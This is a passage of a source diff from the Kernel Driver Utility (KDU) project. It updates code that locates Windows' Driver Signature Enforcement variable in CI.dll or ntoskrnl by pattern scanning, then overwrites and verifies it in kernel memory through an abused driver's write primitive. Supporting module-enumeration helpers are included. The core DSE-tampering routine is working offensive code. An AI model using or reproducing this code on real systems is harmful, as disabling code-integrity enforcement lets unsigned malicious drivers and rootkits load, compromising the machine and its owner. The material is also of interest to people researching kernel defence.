(hs.flags & F_ERROR) + break; + + // + // call CipInitialize + // + if (hs.len == expectedLength) { + if (ptrCode[k] == 0xE8) { + offset = k; + relativeValue = *(PLONG)(ptrCode + k + 1); + break; + } + } + + } + + } + + offset += hs.len; + + } while (offset < 256); } - CiInitialize = CiInitialize + c + 5 + rel; - c = 0; + if (relativeValue == 0) + return STATUS_UNSUCCESSFUL; + + ptrCode = ptrCode + offset + hs.len + relativeValue; + relativeValue = 0; + offset = 0; + expectedLength = 6; + do { - if (*(PUSHORT)(CiInitialize + c) == 0x0d89) { - rel = *(PLONG)(CiInitialize + c + 2); - break; - } - hde64_disasm(CiInitialize + c, &hs); + hde64_disasm(&ptrCode[offset], &hs); if (hs.flags & F_ERROR) break; - c += hs.len; - } while (c < 256); + if (hs.len == expectedLength) { //test if mov + + if (*(PUSHORT)(ptrCode + offset) == 0x0d89) { + relativeValue = *(PLONG)(ptrCode + offset + 2); + break; + } + + } - CiInitialize = CiInitialize + c + 6 + rel; + offset += hs.len; - *KernelBase = *KernelBase + CiInitialize - (PBYTE)MappedBase; + } while (offset < 256); - return rel; + if (relativeValue == 0) + return STATUS_UNSUCCESSFUL; + + ptrCode = ptrCode + offset + hs.len + relativeValue; + resolvedAddress = ImageLoadedBase + ptrCode - (PBYTE)ImageMappedBase; + + *ResolvedAddress = resolvedAddress; + + return STATUS_SUCCESS; } /* @@ -149,72 +302,106 @@ ULONG_PTR KDUQueryVariable( _In_ ULONG NtBuildNumber ) { - LONG rel = 0; - SIZE_T SizeOfImage = 0; - ULONG_PTR Result = 0, ModuleKernelBase = 0; - CONST CHAR* szModuleName; - HMODULE MappedModule; + NTSTATUS ntStatus; + ULONG loadedImageSize = 0; + SIZE_T sizeOfImage = 0; + ULONG_PTR Result = 0, imageLoadedBase, kernelAddress = 0; + LPWSTR lpModuleName; + HMODULE mappedImageBase; - CHAR szFullModuleName[MAX_PATH * 2]; + WCHAR szFullModuleName[MAX_PATH * 2]; if (NtBuildNumber < NT_WIN8_BLUE) { - szModuleName = NTOSKRNL_EXE; + lpModuleName = (LPWSTR)NTOSKRNL_EXE; } else { - szModuleName = CI_DLL; + lpModuleName = (LPWSTR)CI_DLL; } - ModuleKernelBase = supGetModuleBaseByName(szModuleName); - if (ModuleKernelBase == 0) { - - supPrintfEvent(kduEventError, - "[!] Abort, could not query \"%s\" image base\r\n", szModuleName); - + imageLoadedBase = supGetModuleBaseByName(lpModuleName, &loadedImageSize); + if (imageLoadedBase == 0) { + + supPrintfEvent(kduEventError, + "[!] Abort, could not query \"%ws\" image base\r\n", lpModuleName); + return 0; } szFullModuleName[0] = 0; - if (!GetSystemDirectoryA(szFullModuleName, MAX_PATH)) + if (!GetSystemDirectory(szFullModuleName, MAX_PATH)) return 0; - _strcat_a(szFullModuleName, "\\"); - _strcat_a(szFullModuleName, szModuleName); + _strcat(szFullModuleName, TEXT("\\")); + _strcat(szFullModuleName, lpModuleName); // // Preload module for pattern search. // - MappedModule = LoadLibraryExA(szFullModuleName, NULL, DONT_RESOLVE_DLL_REFERENCES); - if (MappedModule) { + mappedImageBase = LoadLibraryEx(szFullModuleName, NULL, DONT_RESOLVE_DLL_REFERENCES); + if (mappedImageBase) { - printf_s("[+] Module \"%s\" loaded for pattern search\r\n", szModuleName); + printf_s("[+] Module \"%ws\" loaded for pattern search\r\n", lpModuleName); if (NtBuildNumber < NT_WIN8_BLUE) { - rel = KDUQueryCiEnabled( - MappedModule, - SizeOfImage, - &ModuleKernelBase); + + ntStatus = supQueryImageSize(mappedImageBase, + &sizeOfImage); + + if (NT_SUCCESS(ntStatus)) { + + ntStatus = KDUQueryCiEnabled(mappedImageBase, + imageLoadedBase, + &kernelAddress, + sizeOfImage); + + } } else { - rel = KDUQueryCiOptions( - MappedModule, - &ModuleKernelBase, + + ntStatus = KDUQueryCiOptions(mappedImageBase, + imageLoadedBase, + &kernelAddress, NtBuildNumber); + + } + + if (NT_SUCCESS(ntStatus)) { + + if (IN_REGION(kernelAddress, + imageLoadedBase, + loadedImageSize)) + { + Result = kernelAddress; + } + else { + + supPrintfEvent(kduEventError, + "[!] Resolved address 0x%llX does not belong required module.\r\n", + kernelAddress); + + } + } + else { + + supPrintfEvent(kduEventError, + "[!] Failed to locate kernel variable address, NTSTATUS (0x%lX)\r\n", + ntStatus); - if (rel != 0) { - Result = ModuleKernelBase; } - FreeLibrary(MappedModule); + + FreeLibrary(mappedImageBase); + } else { // // Output error. // - supPrintfEvent(kduEventError, - "[!] Could not load \"%s\", GetLastError %lu\r\n", - szModuleName, + supPrintfEvent(kduEventError, + "[!] Could not load \"%ws\", GetLastError %lu\r\n", + lpModuleName, GetLastError()); } @@ -237,93 +424,96 @@ BOOL KDUControlDSE( { BOOL bResult = FALSE; ULONG_PTR variableAddress; - ULONG returnLength = 0; - NTSTATUS ntStatus; - SYSTEM_CODEINTEGRITY_INFORMATION state; + ULONG ulFlags = 0; FUNCTION_ENTER_MSG(__FUNCTION__); - state.CodeIntegrityOptions = 0; - state.Length = sizeof(state); + variableAddress = KDUQueryVariable(Context->NtBuildNumber); + if (variableAddress == 0) { + + supPrintfEvent(kduEventError, + "[!] Could not query system variable address, abort.\r\n"); - // - // Query DSE state. - // + } + else { + + // + // Read current flags state. + // + bResult = Context->Provider->Callbacks.ReadKernelVM(Context->DeviceHandle, + variableAddress, + &ulFlags, + sizeof(ulFlags)); + + if (!bResult) { + supPrintfEvent(kduEventError, + "[!] Could not query DSE state, GetLastError %lu\r\n", + GetLastError()); - ntStatus = NtQuerySystemInformation(SystemCodeIntegrityInformation, - (PVOID)&state, sizeof(SYSTEM_CODEINTEGRITY_INFORMATION), - &returnLength); - - if (NT_SUCCESS(ntStatus)) { - - if (state.CodeIntegrityOptions & CODEINTEGRITY_OPTION_ENABLED) { - printf_s("[+] System reports CodeIntegrityOption Enabled\r\n"); - - // - // Check if DSE is enabled so we don't need to enable it again. - // - // CI status does not updated on Win7. - // - if (Context->NtBuildNumber >= NT_WIN10_THRESHOLD1) { - if (DSEValue == 6) { - - supPrintfEvent(kduEventError, - "[!] DSE already enabled, nothing to do, leaving.\r\n"); - - return TRUE; - } - } } else { - printf_s("[+] System reports CodeIntegrityOption Disabled\r\n"); - - // - // Check if DSE is disabled so we don't need to disable it again. - // - if (Context->NtBuildNumber >= NT_WIN10_THRESHOLD1) { + printf_s("[+] DSE flags (0x%p) value: %lX, new value to be written: %lX\r\n", + (PVOID)variableAddress, + ulFlags, + DSEValue); - if (DSEValue == 0) { - - supPrintfEvent(kduEventError, - "[!] DSE already disabled, nothing to do, leaving.\r\n"); - - return TRUE; - } + if (DSEValue == ulFlags) { + printf_s("[~] Warning, current value is identical to what you want to write\r\n"); } - } - } + DWORD dwLastError; - // - // Assume variable is in nonpaged .data section. - // + bResult = Context->Provider->Callbacks.WriteKernelVM(Context->DeviceHandle, + variableAddress, + &DSEValue, + sizeof(DSEValue)); - variableAddress = KDUQueryVariable(Context->NtBuildNumber); - if (variableAddress == 0) { + dwLastError = GetLastError(); - supPrintfEvent(kduEventError, - "[!] Could not query system variable address, abort.\r\n"); + if (bResult) { - } - else { + printf_s("[+] Kernel memory write complete, verifying data\r\n"); - printf_s("[+] Corrupting DSE value at 0x%p address\r\n", (PVOID)variableAddress); + // + // Verify write. + // + ulFlags = 0; + bResult = Context->Provider->Callbacks.ReadKernelVM(Context->DeviceHandle, + variableAddress, + &ulFlags, + sizeof(ulFlags)); - bResult = Context->Provider->Callbacks.WriteKernelVM(Context->DeviceHandle, - variableAddress, - &DSEValue, - sizeof(DSEValue)); + dwLastError = GetLastError(); - supPrintfEvent( - (bResult == FALSE) ? kduEventError : kduEventNone, - "%s Kernel memory %s\r\n", - (bResult == FALSE) ? "[!]" : "[+]", - (bResult == FALSE) ? "not patched" : "patched"); + if (bResult) { - } + bResult = (ulFlags == DSEValue); + + supPrintfEvent( + (bResult == FALSE) ? kduEventError : kduEventInformation, + "%s Write result verification %s\r\n", + (bResult == FALSE) ? "[!]" : "[+]", + (bResult == FALSE) ? "failed" : "succeeded"); + } + else { + supPrintfEvent(kduEventError, + "[!] Could not verify kernel memory write, GetLastError %lu\r\n", + dwLastError); + + } + } + else { + supPrintfEvent(kduEventError, + "[!] Error while writing to the kernel memory, GetLastError %lu\r\n", + dwLastError); + } + + } + } + FUNCTION_LEAVE_MSG(__FUNCTION__); return bResult; diff --git a/Source/Hamakaze/main.cpp b/Source/Hamakaze/main.cpp index 97212f7..6e10f11 100644 --- a/Source/Hamakaze/main.cpp +++ b/Source/Hamakaze/main.cpp @@ -6,7 +6,7 @@ * * VERSION: 1.11 * -* DATE: 18 Apr 2021 +* DATE: 14 May 2021 * * Hamakaze main logic and entrypoint. * @@ -47,7 +47,6 @@ volatile LONG g_lApplicationInstances = 0; "-drvn name - driver object name (only valid for shellcode version 3)\r\n"\ "-drvr name - optional, driver registry key name (only valid for shellcode version 3)\r\n" -#define T_KDUINTRO "[#] Kernel Driver Utility v1.1.1 started, (c) 2020 - 2021 KDU Project\r\n[#] Supported x64 OS: Windows 7 and above" #define T_PRNTDEFAULT "%s\r\n" /* @@ -522,6 +521,25 @@ int KDUMain() return iResult; } +/* +* KDUIntroBanner +* +* Purpose: +* +* Display general KDU version info. +* +*/ +VOID KDUIntroBanner() +{ + IMAGE_NT_HEADERS* ntHeaders = RtlImageNtHeader(NtCurrentPeb()->ImageBaseAddress); + + printf_s("[#] Kernel Driver Utility v1.1.1 started, (c)2020 - 2021 KDU Project\r\n"\ + "[#] Build at %s, header checksum 0x%lX\r\n"\ + "[#] Supported x64 OS : Windows 7 and above\r\n", + __TIMESTAMP__, + ntHeaders->OptionalHeader.CheckSum); +} + /* * main * @@ -532,9 +550,11 @@ int KDUMain() */ int main() { + + HeapSetInformation(NULL, HeapEnableTerminationOnCorruption, NULL, 0); - printf_s(T_PRNTDEFAULT, T_KDUINTRO); + KDUIntroBanner(); int retVal = 0; diff --git a/Source/Hamakaze/sup.cpp b/Source/Hamakaze/sup.cpp index 803d2b2..644a903 100644 --- a/Source/Hamakaze/sup.cpp +++ b/Source/Hamakaze/sup.cpp @@ -6,7 +6,7 @@ * * VERSION: 1.11 * -* DATE: 18 Apr 2021 +* DATE: 14 May 2021 * * Program global support routines. * @@ -652,6 +652,87 @@ PVOID supGetSystemInfo( return NULL; } +/* +* supGetLoadedModulesList +* +* Purpose: +* +* Read list of loaded kernel modules. +* +*/ +PVOID supGetLoadedModulesList( + _In_ BOOL ExtendedOutput, + _Out_opt_ PULONG ReturnLength +) +{ + NTSTATUS ntStatus; + PVOID buffer; + ULONG bufferSize = PAGE_SIZE; + + PRTL_PROCESS_MODULES pvModules; + SYSTEM_INFORMATION_CLASS infoClass; + + if (ReturnLength) + *ReturnLength = 0; + + if (ExtendedOutput) + infoClass = SystemModuleInformationEx; + else + infoClass = SystemModuleInformation; + + buffer = supHeapAlloc((SIZE_T)bufferSize); + if (buffer == NULL) + return NULL; + + ntStatus = NtQuerySystemInformation( + infoClass, + buffer, + bufferSize, + &bufferSize); + + if (ntStatus == STATUS_INFO_LENGTH_MISMATCH) { + supHeapFree(buffer); + buffer = supHeapAlloc((SIZE_T)bufferSize); + + ntStatus = NtQuerySystemInformation( + infoClass, + buffer, + bufferSize, + &bufferSize); + } + + if (ReturnLength) + *ReturnLength = bufferSize; + + // + // Handle unexpected return. + // + // If driver image path exceeds structure field size then + // RtlUnicodeStringToAnsiString will throw STATUS_BUFFER_OVERFLOW. + // + // If this is the last driver in the enumeration service will return + // valid data but STATUS_BUFFER_OVERFLOW in result. + // + if (ntStatus == STATUS_BUFFER_OVERFLOW) { + + // + // Force ignore this status if list is not empty. + // + pvModules = (PRTL_PROCESS_MODULES)buffer; + if (pvModules->NumberOfModules != 0) + return buffer; + } + + if (NT_SUCCESS(ntStatus)) { + return buffer; + } + + if (buffer) + supHeapFree(buffer); + + return NULL; +} + /* * supGetNtOsBase * @@ -667,10 +748,10 @@ ULONG_PTR supGetNtOsBase( PRTL_PROCESS_MODULES miSpace; ULONG_PTR NtOsBase = 0; - miSpace = (PRTL_PROCESS_MODULES)supGetSystemInfo(SystemModuleInformation); + miSpace = (PRTL_PROCESS_MODULES)supGetLoadedModulesList(FALSE, NULL); if (miSpace) { NtOsBase = (ULONG_PTR)miSpace->Modules[0].ImageBase; - RtlFreeHeap(NtCurrentPeb()->ProcessHeap, 0, miSpace); + supHeapFree(miSpace); } return NtOsBase; } @@ -1578,27 +1659,49 @@ ULONG supGetTimeAsSecondsSince1970() * */ ULONG_PTR supGetModuleBaseByName( - _In_ LPCSTR ModuleName + _In_ LPCWSTR ModuleName, + _Out_opt_ PULONG ImageSize ) { ULONG_PTR ReturnAddress = 0; ULONG i, k; PRTL_PROCESS_MODULES miSpace; - miSpace = (PRTL_PROCESS_MODULES)supGetSystemInfo(SystemModuleInformation); + ANSI_STRING moduleName; + + if (ImageSize) + *ImageSize = 0; + + moduleName.Buffer = NULL; + moduleName.Length = moduleName.MaximumLength = 0; + + if (!NT_SUCCESS(supConvertToAnsi(ModuleName, &moduleName))) + return 0; + + miSpace = (PRTL_PROCESS_MODULES)supGetLoadedModulesList(FALSE, NULL); if (miSpace != NULL) { + for (i = 0; i < miSpace->NumberOfModules; i++) { + k = miSpace->Modules[i].OffsetToFileName; if (_strcmpi_a( (CONST CHAR*) & miSpace->Modules[i].FullPathName[k], - ModuleName) == 0) + moduleName.Buffer) == 0) { ReturnAddress = (ULONG_PTR)miSpace->Modules[i].ImageBase; + if (ImageSize) + *ImageSize = miSpace->Modules[i].ImageSize; break; } + } + supHeapFree(miSpace); + } + + RtlFreeAnsiString(&moduleName); + return ReturnAddress; } @@ -1824,3 +1927,55 @@ VOID supPrintfEvent( // SetConsoleTextAttribute(stdHandle, origColor); } + +/* +* supQueryImageSize +* +* Purpose: +* +* Get image size from PEB loader list. +* +*/ +NTSTATUS supQueryImageSize( + _In_ PVOID ImageBase, + _Out_ PSIZE_T ImageSize +) +{ + NTSTATUS ntStatus; + LDR_DATA_TABLE_ENTRY *ldrEntry = NULL; + + *ImageSize = 0; + + ntStatus = LdrFindEntryForAddress( + ImageBase, + &ldrEntry); + + if (NT_SUCCESS(ntStatus)) { + + *ImageSize = ldrEntry->SizeOfImage; + + } + + return ntStatus; +} + +/* +* supConvertToAnsi +* +* Purpose: +* +* Convert UNICODE string to ANSI string. +* +* N.B. +* If function succeeded - use RtlFreeAnsiString to release allocated string. +* +*/ +NTSTATUS supConvertToAnsi( + _In_ LPCWSTR UnicodeString, + _Inout_ PANSI_STRING AnsiString) +{ + UNICODE_STRING unicodeString; + + RtlInitUnicodeString(&unicodeString, UnicodeString); + return RtlUnicodeStringToAnsiString(AnsiString, &unicodeString, TRUE); +} diff --git a/Source/Hamakaze/sup.h b/Source/Hamakaze/sup.h index 6cbd659..8b6537e 100644 --- a/Source/Hamakaze/sup.h +++ b/Source/Hamakaze/sup.h @@ -4,9 +4,9 @@ * * TITLE: SUP.H * -* VERSION: 1.10 +* VERSION: 1.11 * -* DATE: 16 Apr 2021 +* DATE: 14 May 2021 * * Support routines header file. * @@ -76,6 +76,10 @@ NTSTATUS supOpenDriver( _In_ ACCESS_MASK DesiredAccess, _Out_ PHANDLE DeviceHandle); +PVOID supGetLoadedModulesList( + _In_ BOOL ExtendedOutput, + _Out_opt_ PULONG ReturnLength); + PVOID supGetSystemInfo( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass); @@ -155,7 +159,8 @@ NTSTATUS supCreateSystemAdminAccessSD( ULONG supGetTimeAsSecondsSince1970(); ULONG_PTR supGetModuleBaseByName( - _In_ LPCSTR ModuleName); + _In_ LPCWSTR ModuleName, + _Out_opt_ PULONG ImageSize); BOOL supManageDummyDll( _In_ LPCWSTR lpDllName, @@ -172,3 +177,11 @@ VOID supPrintfEvent( _In_ KDU_EVENT_TYPE Event, _Printf_format_string_ LPCSTR Format, ...); + +NTSTATUS supQueryImageSize( + _In_ PVOID ImageBase, + _Out_ PSIZE_T ImageSize); + +NTSTATUS supConvertToAnsi( + _In_ LPCWSTR UnicodeString, + _Inout_ PANSI_STRING AnsiString); diff --git a/Source/Hamakaze/tests.cpp b/Source/Hamakaze/tests.cpp index 501a43b..11be5dd 100644 --- a/Source/Hamakaze/tests.cpp +++ b/Source/Hamakaze/tests.cpp @@ -4,9 +4,9 @@ * * TITLE: TESTS.CPP * -* VERSION: 1.10 +* VERSION: 1.11 * -* DATE: 01 Apr 2021 +* DATE: 14 May 2021 * * KDU tests. *